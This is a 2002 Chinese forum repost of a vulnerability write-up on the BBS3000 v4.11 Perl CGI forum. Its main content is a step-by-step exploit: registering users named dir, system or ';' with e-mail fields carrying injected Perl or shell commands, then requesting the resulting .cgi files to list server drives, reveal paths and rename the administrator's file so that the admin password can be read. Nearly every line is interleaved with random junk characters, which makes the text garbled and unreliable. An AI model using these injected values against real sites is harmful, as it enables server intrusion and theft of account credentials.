窥探YUZI的BBS3000社区安全性--1
$ k' {, J' p, |" j e2 v/ E文章类型：漏洞分析 文章加入时间：2002年1月24日22:24 ! |; |# f% a6 W, u* [$ `* ?
--------------------------------------------------------------------------------! |5 J. b+ b I* @1 ?6 B
( y8 T% M: v1 p/ G; ]+ y
窥探YUZI的BBS3000社区安全性; ^" b4 U0 D9 e2 |; A: B$ u: p
————————————————————————————————— r* h1 P3 n `
badboy-club@21cn.com' H. E4 |# Z( q
部分漏洞提供者：1 v( X* K1 f- D. I9 C2 Z5 N0 f- C
adver( n& {8 b8 K2 H% ~! z+ Z
x.z
' H/ r/ A7 ^; y M# ~9 d+ y这并不是什么权威教材，只适合菜鸟了解某些免费提供的论坛程序存在的不
1 q& l/ b$ \0 p% g# W j) n安全面，切莫用此方法在国内做尝试，如果你偏要如此，那么由此引起的一
1 H4 [3 i5 y3 E! a$ S切法律后果由你自己负责。
; B3 F* V. c) c$ J本文只允许在网络任意转载，但须保留文章的完整性，如把本文作为经济目
! ~ {3 @+ m! y& e- d$ h7 n3 L% G5 X% i的使用，或者未经本人许可进行印刷、光盘杂志、等出版性质的行为，本人; d5 }( I. q+ I2 H; j6 B; X
将保留侵权控告的权利。
6 A7 `% b9 J- ~6 G) e9 t# a! }- r( F& ~—————————————————————————————————9 u% Y4 S, A; O5 ]9 d+ |
第一篇+ i, x; |3 H- S, c
****基本漏洞测试*****
3 J5 p$ b! q/ G1 ]! Q& x YUZI的BBS3000被不少的国内个人站点和企业站点用来作为网友交流的论坛，
( k9 O7 j, `+ D/ |7 [" B u但不少用户很少去探测这论坛的安全性，使用者很大程度上信任作者，而实际上1 U3 J6 V8 r" A
这些免费的版本和汉化修改论坛，往往存在一些致命的漏洞，本文的目的在于揭
4 D# w( Z K+ [& |) `7 ?示该论坛不为人知的漏洞，让大家更好的使用这类论坛，并且保证自身资料的隐
) x" J; Z8 [: d/ n! k蔽和服务器的安全。. Z( Z* `2 J- i# x6 q7 Q4 f
测试版本:bbs3000 v4.11
' q, {5 I$ N. a系统平台：win2k adv server=sp3 + iis 5.0 +ActivePerl 5.6.1.626( k1 V, U r, B* ?1 h6 K( ?
应用程序映射:perl.exe %s %s 动作：GET,HEAD,POST
) a" r2 {# ~& J, ?1 h 或者:perlIS.dll 动作：GET,HEAD,POST
, Z8 h; q$ ~5 a% u6 L- v4 v7 V$ [, H测试情况：/ S# K- v5 {6 H: C9 ^
一、用户名为dir的漏洞7 j* N: `% |/ Q! \* C, F% ~
1、采用应用程序映射:perl.exe %s %s应用程序映射
; P; P9 o4 x* v在站点建立一目录（或者虚拟目录）bbs3000,按论坛作者提供的说明书，默认安
( d% H+ J+ q0 ^1 Y& I* I6 E装BBS3000 v4.11版本，我们注册一用户名为dir,密码为system,信箱为6 d3 m& V% Y" k% q$ Y- e
#badboy@badclub.org（#任意信箱都可以），然后我们在IE地址栏处输入：
& n9 d2 J# P5 I4 F% p% Chttp://192.168.0.1/bbs3000/yhzl/dir.cgi8 J5 X+ t3 y+ Y! w
F:\new\bbs3000\bbs3000 的目录
{. y5 p# S1 m( Z8 t0 ~- o: B2002-01-16 19:26 <DIR> .# e/ F( \2 a/ f8 ?; c
2002-01-16 19:26 <DIR> ..
( A; ^4 B7 w& G& V2002-01-16 22:42 43,247 bbs.cgi
* Y3 c% D; L/ b4 ~4 f( y8 \9 Z0 X* j2002-01-16 22:47 50,934 cjyh.cgi
3 q+ @+ d' S9 Y6 z9 p3 C: k2002-01-16 22:43 38,551 bbs1.cgi
9 K) q! g' I* e2002-01-16 22:48 6,401 cookie.cgi% Q6 L( ?$ Q9 M1 j- ~& A6 G
2002-01-16 22:42 2,138 affiche.cgi; C& u% b3 b1 D7 I9 p' e
2002-01-16 22:43 22,434 bbs2.cgi! `+ z) W" o1 `# S1 Q4 O
（以下略）
5 }- y- @6 h9 u: L3 m! H 34 个文件 417,611 字节
) M; w3 w1 F2 f! T 15 个目录 1,830,944,768 可用字节
6 ^5 O! F8 k/ X$ g( s5 ]$ F- Z- T
/ t% e8 ^* d! Z3 S' J& S# Y2、采用应用程序映射:perlIS.dll应用程序映射
- G! Q9 u* @! w8 R得到的显示页面为：& {* c7 |0 o. ^# [7 @7 |$ f1 s& `
'F:\new\bbs3000\bbs3000\yhzl\dir.cgi' script produced no output - g4 Q& ]0 ~ t$ i. X6 m
测试解释：在应用程序映射中，一个扩展名只能由一个程序去映射，在采用
; T6 O* c. y# \9 D9 H" l0 M9 `perl.exe时，BBS3000存在查看网站目录和文件的漏洞，在采用perlIS.dll时，
. p4 B( \1 m, s) G) l+ j0 m- }: _$ o4 k则有暴露网站在服务器上的绝对地址的漏洞。" g5 ~8 Y$ K4 b4 h4 o" p; S) \" n
二、用户名为system的漏洞4 V; b4 @4 o j- ^
1、采用应用程序映射:perl.exe %s %s应用程序映射7 ?- Y+ l; S/ j* R, h
注册一用户名为system，密码为空格键（或者密码为system），信箱为& y# y& z0 U8 C" W. S
'dir c:'#@badclub.org，然后我们在IE地址栏内输入：
. L9 `) ~1 i; I% J5 L. Y* dhttp://192.168.0.1/bbs3000/yhzl/system.cgi
$ d6 q a: |% t% ?; s q返回的页面显示为：1 B' H1 S6 Y! _4 C) x9 |, W! i
C:\ 的目录
6 L% k% \4 ]& g/ c8 u2001-11-27 20:56 1,002 FRUNLOG.TXT
- g+ {% v" {- \4 [2001-11-27 20:49 <DIR> WINNT
. h# W( Y, `, f/ y- M' R, v（以下略）
$ S( a2 u6 n7 |# E 10 个文件 29,583 字节
& I5 t- v" Y* y4 _& r; Z 9 个目录 946,327,552 可用字节" S \- A& b# R# e/ Q; P5 N) c
当密码为其他时，则显示：
# h5 O3 n$ I8 C. @; V) O* d; dCGI Error
4 Y2 j. f, c4 U$ M0 r5 J5 DThe specified CGI application misbehaved by not returning a complete
4 M- F5 J8 B6 p! }2 d% o set of HTTP headers. The headers it did return are:
$ R* ^, Z( r+ ?$ n" psyntax error at F:\new\bbs3000\bbs3000\yhzl\system.cgi line 1, near
1 d3 }5 z+ V! o+ d' [- y "1 system"Execution of F:\new\bbs3000\bbs3000\yhzl\system.cgi
; W8 m7 T1 L: W/ @aborted due to compilation errors.2 c" O% t; c" {3 ^
我们还可以这样测试用户名为system的情况，密码仍然为空格键
" i* S$ m R0 V; c0 Y（或者密码为system）但把信箱修改为＠ARGV##badboy@badclub.org，然后我
0 e ?- W) R6 k" F们在IE地址栏内输入：
% X( {) z* c, x5 G* Ehttp://192.168.0.1/bbs3000/yhzl/system.cgi?dir%20d:
! o) L+ U1 a5 o& W返回的页面显示
! U" ~. a0 T. a, i' o7 l! yD:\ 的目录
; V1 \ ~4 x$ i# }' n# U2001-01-18 23:23 <DIR> tools3 j$ Y9 u5 Z9 Y+ B- f
2001-11-27 21:18 <DIR> 98tools
1 v( D- [% K( O) R1 m. f0 O" Y7 U2001-04-08 13:08 <DIR> W2Kreskit
! A8 h% R% w6 w# K" c w$ J4 q2001-11-06 19:52 <DIR> NOCDKEY-PROT& I5 b2 }$ [/ E4 @) ^; \
2001-12-01 21:32 <DIR> WINNT
1 D6 d8 T' q6 J" q6 A- e# k" Y/ n& B2001-12-01 21:39 <DIR> Documents and Settings
" ^ g4 A. J6 C! y; n2 R- @2001-12-01 21:41 <DIR> Program Files @; v, L/ i1 i9 z/ C
2001-12-01 21:53 <DIR> Inetpub* _' o/ O% l- H
2002-01-16 19:17 <DIR> pl
; r0 N- {, U! S4 _# H) p; `（以下省略部分内容） 5 ^9 V6 s8 u0 v4 i7 n6 M* |2 l
12 个文件 15,068,818 字节
# k4 { f9 k! B+ c/ @/ k 15 个目录 2,371,317,760 可用字节/ c5 l5 k, ~ V0 {. t- P/ v
'0' 不是内部或外部命令，也不是可运行的程序0 P, G1 @) J0 ~2 v: M+ q, h+ v
或批处理文件。
$ Q: d5 |" w( L$ G8 s' s4 E2、采用应用程序映射:perlIS.dll应用程序映射
1 ^: j e, V6 D$ e) E' _2 ]用户名为system，密码为空格键（或者密码为system），信箱为'dir c:'#@badclub.org，
1 F2 i7 a0 m' M% h. M! l& _9 B然后我们在IE地址栏内输入：
# Q. T; s, h k7 mhttp://192.168.0.1/bbs3000/yhzl/system.cgi
; h+ h4 m! E. x0 @8 W7 z返回的页面显示为：
: P& o) o' Y+ p- h( g5 |, y& I'F:\new\bbs3000\bbs3000\yhzl\system.cgi' script produced no output
1 v3 A7 U. H3 _2 g& O把信箱修改为＠ARGV##badboy@badclub.org，然后我们在IE地址栏内输入：
- D; f$ n: V, U' E E, Jhttp://192.168.0.1/bbs3000/yhzl/system.cgi?dir%20d:
( d; v* t6 P' m) B; R' [$ b5 z+ u J0 l返回的页面显示
$ Z, Q2 w7 H5 y8 r% ?7 N) C'F:\new\bbs3000\bbs3000\yhzl\system.cgi' script produced no output3 @# v* u& k, v0 u: x( s. r% q$ J e
三、用户名为;字符的情况& v) v5 r' E, a3 v4 }
1、采用应用程序映射:perlIS.dll应用程序映射; n. N" [5 T6 v+ ~4 H
注册一用户名为;字符，密码为1，信箱为rename "badboy.cgi","badboy.txt";#@badclub.org ，
6 F: A4 n2 \7 m（这里假设badboy为该论坛的社区区长，也就是该论坛最大权限的用户），然后我们
! i7 }& e1 I; u* m* M: z+ u- [- K. |6 w在IE地址栏内输入：, E Q# M( a2 I3 n" ~: X8 g! y
http://192.168.0.1/bbs3000/yhzl/;.cgi. @0 q" I- w3 \; r$ k k9 l- u
返回的页面显示2 u) f6 e1 G6 T& c
'F:\new\bbs3000\bbs3000\yhzl\;.cgi' script produced no output
# a' C& H2 G; `% l, [4 Q, @2 `7 e嗯，怎么还是和上面的perl.dll例子一样啊？？后面的就是关键了，你再输入这样
' O2 R1 S) ^ ^& w- @8 S的看看
5 M4 N0 m- ^2 p' n8 Ghttp://192.168.0.1/bbs3000/yhzl/badboy.txt( S, ^0 e) ~6 O% i' v& P' }
返回的页面显示为5 _/ @+ F5 q2 ?9 N
badpass badboy http://192.168.0.1 2002-01-16/ W- M" A( n9 K7 F# S5 A
显示的内容前面就是密码、用户% U6 _( z9 W1 n# j
天啊，事情怎么那么容易呀！！~_*
$ u$ _" ?7 k" C1 ^6 X" U7 W经测试，用户名为system密码为一个空格键（或者为system)，信箱为, b! d6 L" l( L& W
rename "badboy.cgi","badboy.txt";#@badclub.org 的时候，步骤和上面一样，同样( k: t2 G) g, w/ b" {: B
可以获得相同的结果。( v6 M5 s2 C* ~8 n: G
2、采用应用程序映射:perl.exe %s %s应用程序映射7 I' i# m @1 ^+ k+ w/ B$ c2 _/ k
用户名为;字符，密码为1，信箱为rename "badboy.cgi","badboy.txt";#@badclub.org - `+ I# A K& u% s( c# t
在IE地址栏内输入：* Q$ h4 r& F) E& N4 P) A
http://192.168.0.1/bbs3000/yhzl/;.cgi1 n% A/ ]4 x& I3 v$ ?9 \# |2 @9 Q
返回的页面显示$ D7 \' @* M: B, x0 H
CGI Error
5 Z9 a1 r6 n% E$ M* zThe specified CGI application misbehaved by not returning a complete set of HTTP
5 d/ `& H' F$ [ fheaders. The headers it did return are: . s6 l" a" P! Y* ?8 s/ V
|
粤公网安备44152102000001号 
发表于 2002-2-4 09:43:11